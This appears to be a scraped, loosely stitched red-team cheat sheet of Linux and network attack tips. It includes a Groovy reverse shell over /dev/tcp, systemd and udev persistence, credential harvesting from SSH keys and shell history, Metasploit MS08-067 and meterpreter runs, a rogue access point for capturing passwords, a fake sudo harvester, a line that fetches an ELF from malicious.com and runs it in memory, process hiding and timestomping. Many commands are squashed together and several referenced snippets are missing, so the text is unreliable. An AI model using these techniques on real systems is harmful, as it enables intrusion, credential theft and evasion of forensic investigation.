On the next user login systemd will happily start a reverse shell.
Udev Rules Persistence
udev rules in Linux are configuration files that allow the system to dynamically manage device files in the /dev directory. These rules can trigger specific actions or scripts when devices are added, removed, or change state. By matching attributes like device type, vendor ID, or kernel name, udev rules help automate tasks related to hardware events, making device management more flexible and customizable.
Example:
First, create a new rule file under /etc/udev/rules.d/:
Systemd-timers are similar to cron jobs but offer more flexibility and integration with systemd. These can be harnessed to execute a script or binary at specified intervals or times, maintaining persistence on a compromised system.
getent is a Unix command that helps a user get entries in a number of important text files called databases. This includes the passwd and group databases which store user information – hence getent is a common way to look up user details on Unix.
getentpasswd<username>
Utilize Crt.sh and EyeWitness to Enumerate Web Pages
Uses crt.sh to identify certificates for target domain before screenshotting and actively scanning each webpage for login forms to use common credentials on.
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
Low and slow (-T2), Fast mode (-F), Append random data to sent packets (--data-length), Randomize hosts, and verbosely conduct service detection on a file of hosts and output to XML.
Hunt for components susceptible to the Heartbleed vulnerability before exploiting the devices memory with this one-liner. This command requires an Academic Plus Shodan API key.
# All queriestcpdump-nt'dst port 53 and udp[10] & 0x80 = 0'# All responsestcpdump-nt'src port 53 and udp[10] & 0x80 = 0x80'
Important Files
/boot/vmlinuz:TheLinuxKernelfile./dev/had:DevicefileforthefirstIDEHDD (Hard DiskDrive) /dev/hdc : Device file for the IDE Cdrom, commonly/dev/null:Apseudodevice/etc/bashrc:Systemdefaultsandaliasesusedbybashshell./etc/crontab:CronruncommandsonapredefinedtimeInterval./etc/exports:Informationofthefilesystemavailableonnetwork./etc/fstab:InformationofDiskDriveandtheirmountpoint./etc/group:InformationofSecurityGroup./etc/grub.conf:grubbootloaderconfigurationfile./etc/init.d:ServicestartupScript./etc/lilo.conf:lilobootloaderconfigurationfile./etc/hosts : Information on IP's and corresponding hostnames. /etc/hosts.allow : Hosts allowed access to services on local host. /etc/host.deny : Hosts denied access to services on local host. /etc/inittab : INIT process and interactions at various run level. /etc/issue : Allows to edit the pre-login message. /etc/modules.conf : Configuration files for system modules. /etc/motd : Message Of The Day
/etc/mtab:Currentlymountedblocksinformation./etc/passwd:Systemuserswithpasswordhashredacted./etc/printcap:PrinterInformation/etc/profile:Bashshelldefaults/etc/profile.d:Applicationscript,executedafterlogin./etc/rc.d:Informationaboutrunlevelspecificscript./etc/rc.d/init.d:RunLevelInitialisationScript./etc/resolv.conf:DomainNameServers (DNS) being used by System. /etc/securetty : Terminal List, where root login is possible. /etc/shadow : System users with password hash./etc/skel:Scriptthatpopulatesnewuserhomedirectory./etc/termcap:ASCIIfiledefinesthebehaviorofTerminal./etc/X11:ConfigurationfilesofX-windowSystem./usr/bin:Normaluserexecutablecommands./usr/bin/X11:BinariesofXwindowsSystem./usr/include:Containsincludefilesusedby‘c‘program./usr/share:Shareddirectoriesofmanfiles,infofiles,etc./usr/lib:Libraryfilesrequiredduringprogramcompilation./usr/sbin:CommandsforSuperUser,forSystemAdministration./proc/cpuinfo:CPUInformation/proc/filesystems:File-systeminformationbeingusedcurrently./proc/interrupts:Informationaboutthecurrentinterrupts./proc/ioports:AllInput/Outputaddressesusedbydevices./proc/meminfo:MemoryUsagesInformation./proc/modules:Currentlyusedkernelmodule./proc/mount:MountedFile-systemInformation./proc/stat:DetailedStatisticsofthecurrentSystem./proc/swaps:SwapFileInformation./version:LinuxVersionInformation./var/log/auth*:Logofauthorizationloginattempts./var/log/lastlog:Logoflastbootprocess.
Backdooring Systemd Services
Create the following service descriptor at /etc/systemd/system/notmalicious.service:
Address space layout randomization (ASLR) is a computer security technique involved in preventing exploitation of memory corruption vulnerabilities. In order to prevent an attacker from reliably jumping to, for example, a particular exploited function in memory, ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap, and libraries.
r=Runtime.getRuntime()p=r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
Password Harvesting
Passwords can be found in many places
# Process listsuser@victim $ ps-efw# Usernames entered into login prompt by mistakeuser@victim $ last-f/var/log/bmtp# Usernames entered into command line argumentsuser@victim $ cat/home/*/.*history# Passwords saved in web filesuser@victim $ grep-iRpassword/var/www# SSH keysuser@victim $ cat/home/*/.ssh/id*
Enumerate password and account information with chage
user@victim $ chage-l
Unusual Accounts
Look in /etc/passwd for new accounts in a sorted list:
user@RoseSecurity $ sort-nk3-t:/etc/passwd|less
Look for users with a UID of 0:
user@RoseSecurity $ grep:0:/etc/passwd
Enumerating with Finger
Various information leak vulnerabilities exist in fingerd implementations. A popular attack involves issuing a '1 2 3 4 5 6 7 8 9 0' request against a Solaris host running fingerd.
Performing a finger user@target.host request is especially effective against Linux, BSD, Solaris, and other Unix systems, because it often reveals a number of user accounts.
Poorly written fingerd implementations allow attackers to pipe commands through the service, which are, in turn, run on the target host by the owner of the service process (such as root or bin under Unix-based systems).
Although there are several resource scripts that are available through the framework, you may want to build a custom script of your own. For example, if you routinely run a specific exploit and payload combination against a target, you may want to create a resource script to automate these commands for you. Since this example uses purely msfconsole commands, the easiest way to create a resource script is through the makerc command available in msfconsole. The makerc command records all of the commands you've run in the console and saves them in a resource script for you.
msf>workspacedemomsf>useexploit/windows/smb/ms08_067_netapimsf (ms08_067_netapi) > set RHOST 192.168.1.1msf (ms08_067_netapi) > set payload windows/meterpreter/bind_tcpmsf (ms08_067_netapi) > exploit
To save these commands to a resource script, we can use the makerc command. We'll need to provide the output location and name we want the script to use:
Upgrade a shell to a meterpreter session on many platforms
msf6> sessions -u
Metasploit Tips I Discovered Too Late
In order to save a lot of typing during a pentest, you can set global variables within msfconsole. You can do this with the setg command. Once these have been set, you can use them in as many exploits and auxiliary modules as you like. You can also save them for use the next time you start msfconsole. However, the pitfall is forgetting you have saved globals, so always check your options before you run or exploit. Conversely, you can use the unsetg command to unset a global variable. In the examples that follow, variables are entered in all-caps (ie: LHOST), but Metasploit is case-insensitive so it is not necessary to do so.
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0 set
LPORT 9999
exploit
Ingest Other Tools' Output Files:
# Start database
$ sudo systemctl start postgresql
# Initialize Metasploit database
$ sudo msfdb init
# Start msfconsole
$ msfconsole -q
msf6 >
# Help menu
msf6 > db_import -h
# Import other tool's output
msf6 > db_import ~/nmap_scan.xml
[*] Importing NMAP XML data
[*] Successfully imported /home/kali/nmap_scan.xml
Confluence CVE-2022-26134
CVE-2022-26314 is an unauthenticated and remote OGNL injection vulnerability resulting in code execution in the context of the Confluence server (typically the confluence user on Linux installations). Given the nature of the vulnerability, internet-facing Confluence servers are at very high risk.
As stated, the vulnerability is an OGNL injection vulnerability affecting the HTTP server. The OGNL payload is placed in the URI of an HTTP request. Any type of HTTP method appears to work, whether valid (GET, POST, PUT, etc) or invalid (e.g. “BALH”). In its simplest form, an exploit abusing the vulnerability looks like this:
Above, the exploit is URL-encoded. The exploit encompasses everything from the start of the content location to the last instance of /. Decoded it looks like this:
POP Commands:
USER rosesecurity Log in as "rosesecurity"
PASS password Substitue "password" for your actual password
STAT List number of messages, total mailbox size
LIST List messages and sizes
RETR n Show message n
DELE n Mark message n for deletion
RSET Undo any changes
QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
SSH Dynamic Port Forwarding
Forwards one local port to multiple remote hosts; it is useful for accessing multiple systems.
ssh -D 9000 RoseSecurity@pivot.machine
Now, an attacker could utilize a SOCKS proxy or proxychains to access the systems.
proxychains smbclient -L fileserver22
Dominating Samba with pdbedit
The pdbedit program is used to manage the users accounts stored in the sam database and can only be run by root. There are five main ways to use pdbedit: adding a user account, removing a user account, modifying a user account, listing user accounts, importing users accounts.
Options:
Lists all the user accounts present in the users database. This option prints a list of user/uid pairs separated by the ':' character.
# pdbedit -L
sorce:500:Simo Sorce
samba:45:Test User
Enables the verbose listing format. It causes pdbedit to list the users in the database, printing out the account fields in a descriptive format.
# pdbedit -L -v
---------------
username: sorce
user ID/Group: 500/500
user RID/GRID: 2000/2001
Full Name: Simo Sorce
Home Directory: \\BERSERKER\sorce
HomeDir Drive: H:
Logon Script: \\BERSERKER\netlogon\sorce.bat
Profile Path: \\BERSERKER\profile
---------------
username: samba
user ID/Group: 45/45
user RID/GRID: 1090/1091
Full Name: Test User
Home Directory: \\BERSERKER\samba
HomeDir Drive:
Logon Script:
Profile Path: \\BERSERKER\profile
Sets the "smbpasswd" listing format. It will make pdbedit list the users in the database, printing out the account fields in a format compatible with the smbpasswd file format.
Suppose you have an SSH tunnel, and you want to copy a file to the remote machine. You could just scp it directly, but that opens up another connection. The goal is to re-use the existing connection. You can use ncat to do this:
# This is port forwarding, sending everything from port 31000 on the remote machine to the same port on the local machine
$ ssh -L 31000:127.0.0.1:31000
# On the remote system:
$ ncat -lvnp 31000 127.0.0.1 > file
# On the local system:
$ ncat -v -w 2 127.0.0.1 31000 < file
No extra overhead. TCP takes care of error correction. SSH has already encrypted the pipe.
#!/usr/bin/env bash## Access information on IP Addresses## Color OutputNC='\033[0m'RED='\033[0;31m'GREEN='\033[0;32m'ip=$1ipinfo() {if [ -z ip ]; thenecho-e"\n${RED}No IP Address Provided${NC}"elseecho-e"\n${GREEN} IP Information for: $ip ${NC}"curlipinfo.io/$ip/jsonfi}ipinfo
--mirror - applies a number of options to make the download recursive.
--no-parent – Do not crawl the parent directory in order to get a portion of the site only.
--convert-links - makes all the links to work properly with the offline copy.
--page-requisites - download JS and CSS files to retain the original page style when browsing a local mirror.
--adjust-extension - adds the appropriate extensions (e.g. html, css, js) to files if they were retrieved without them.
To prevent a user from seeing all the processes running on a system, mount the /proc file system using the hidepid=2 option:
$ sudo mount -o remount,rw,nosuid,nodev,noexec,relatime,hidepid=2 /proc
# 2: Process files are invisible to non-root users. The existence of a process can be learned by other means, but its effective user ID (UID) and group ID (GID) are hidden.
Exporting Objects with Tshark
To extract a file, read in a file, use the --export-objects flag and specify the protocol and directory to save the files. Without -Q, tshark will read packets and send to stdout even though it is exporting objects.
dicom: medical image
http: web document
imf: email contents
smb: Windows network share file
tftp: Unsecured file
Rogue APs with Karmetasploit
Karmetasploit is a great function within Metasploit, allowing you to fake access points, capture passwords, harvest data, and conduct browser attacks against clients.
Now we are ready to go. First off, we need to locate our wireless card, then start our wireless adapter in monitor mode with airmon-ng. Afterwards we use airbase-ng to start a new wireless network.
# Locate interface
root@RoseSecurity:~# airmon-ng
# Start monitoring
root@RoseSecurity:~# airmon-ng start wlan0
# Start AP
root@RoseSecurity:~# airbase-ng -P -C 30 -e "Fake AP" -v wlan0mon
# Assign IP to interface
root@RoseSecurity:~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
Before we run our DHCP server, we need to create a lease database, then we can get it to listening on our new interface.
At this point, we are up and running. All that is required now is for a client to connect to the fake access point. When they connect, they will see a fake ‘captive portal’ style screen regardless of what website they try to connect to. You can look through your output, and see that a wide number of different servers are started. From DNS, POP3, IMAP, to various HTTP servers, we have a wide net now cast to capture various bits of information.
Passive Fingerprinting with P0f
Use interface eth0 (-i eth0) in promiscuous mode (-p), saving the results to a file (-o /tmp/p0f.log):
root@RoseSecurity:~# p0f -i eth0 -p -o /tmp/p0f.log
-- p0f 3.09b by Michal Zalewski <lcamtuf@coredump.cx> ---
[+] Closed 1 file descriptor.
[+] Loaded 322 signatures from '/etc/p0f/p0f.fp'.
[+] Intercepting traffic on interface 'eth0'.
[+] Default packet filtering configured [+VLAN].
[+] Log file '/tmp/p0f.log' opened for writing.
[+] Entered main event loop.
.-[ 172.16.0.23/35834 -> 172.16.0.79/22 (syn) ]-
|
| client = 172.16.0.23/35834
| os = Linux 4.11 and newer
| dist = 0
| params = none
| raw_sig = 4:64+0:0:1460:mss*20,7:mss,sok,ts,nop,ws:df,id+:0
Advanced Mitm Attacks with Bettercap Filters
Display a message if the tcp port is 22:
if (ip.proto == TCP) {
if (tcp.src == 22 || tcp.dst == 22) {
msg("SSH packet\n");
}
}
Log all telnet traffic:
if (ip.proto == TCP) {
if (tcp.src == 23 || tcp.dst == 23) {
log(DATA.data, "./telnet.log");
}
}
Log ssh decrypted packets matching the regexp:
if (ip.proto == TCP) {
if (tcp.src == 22 || tcp.dst == 22) {
if (regex(DECODED.data, ".*login.*")) {
log(DECODED.data, "./decrypted_log");
}
}
}
Fake Sudo Program to Harvest Credentials
Mimics legitimate Sudo binary to capture credentials and output to /tmp directory file.
Enumerate GitHub organizations for secrets and credentials
root@RoseSecurity# orgs=$(curl-shttps://api.github.com/organizations|jq-r'.[] | .name'); for i in $orgs; dotrufflehoggithub--org=$i; done
Bypass File System Protections (Read-Only and No-Exec) for Containers
It's increasingly common to find Linux machines mounted with read-only (ro) file system protection, especially in containers. This is because running a container with ro file system is as easy as setting readOnlyRootFilesystem: true in the securitycontext:
apiVersion:v1kind:Podmetadata:name:victim-podspec:containers: - name:alpineimage:alpinesecurityContext:readOnlyRootFilesystem:truecommand: ["sh","-c","while true; do echo 'RoseSecurity FTW'; done"]
However, even if the file system is mounted as ro, /dev/shm will still be writable, so it's fake we cannot write anything on the disk. However, this folder will be mounted with no-exec protection, so if you download a binary here you won't be able to execute it.
DDexec is a technique that allows you to modify the memory of your own process by overwriting its /proc/self/mem.
# Example
wget -O- https://malicious.com/hacked.elf | base64 -w0 | bash ddexec.sh argv0 phone home
Dumping Printer NVRAM
You can dump the NVRAM and extract confidential info (as passwords) by accessing arbitrary addresses using PJL:
# Using PRET
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> nvram dump
Writing copy to nvram/printer
................................................................................
................................................................................
............................................S3cretPassw0rd......................
................................................................................
Slash Proc Magic
Victim Host:
./MALICIOUS&
Using a process listing with ps, we can easily find the process, which would probably be noticed relatively quickly in a forensic investigation:
# This command creates a directory named spoof with a subdirectory fdmkdir-pspoof/fd;# This command mounts the spoof directory onto the /proc/[pid] directory. By doing this, it tricks the system into displaying the contents of the spoof directory when someone accesses the /proc/[pid] directory. By someone, we mean, for example, a tool like ps that relies heavily on the /proc/ directory to generate output (see the section strace (ps deep-dive), where we examine how the ps command works and why we can hide our binary in this simple way
mount-obindspoof/proc/22665;
Search for process again:
psaux|grepMALICIOUS
By leveraging bind mounts to overlay a /proc/ directory, we demonstrated how a process can seemingly vanish from process listings while maintaining its functionality.
Linux Timestomping
Timestomping is an anti-forensics technique which is used to modify the timestamps of a file, often to mimic files that are in the same folder.
Set the last access time of file1 to January 02 15:45 of current year. It’s format is MMDDHHMM.
$touch-c-a01021545payload.elf
Set last modification date of a file with -m option.
$touch-c-m01021545payload.elf
Use the -r option and the file we want to inherit its access and modification timestamp. In this example we will use normal.elf last access and modification timestamp for newly created payload.elf.
Defenders can also enable timestamps in .bash_history using the command: export HISTTIMEFORMAT='%F %T '
Taking Apart URL Shorteners with cURL
Ever get a "shortened" url (bit.ly, tinyurl.com or whatever) and stress about "clicking that link"? Or worse yet, have that "Oh No" moment after you just clicked it? Let's use cURL to avoid this!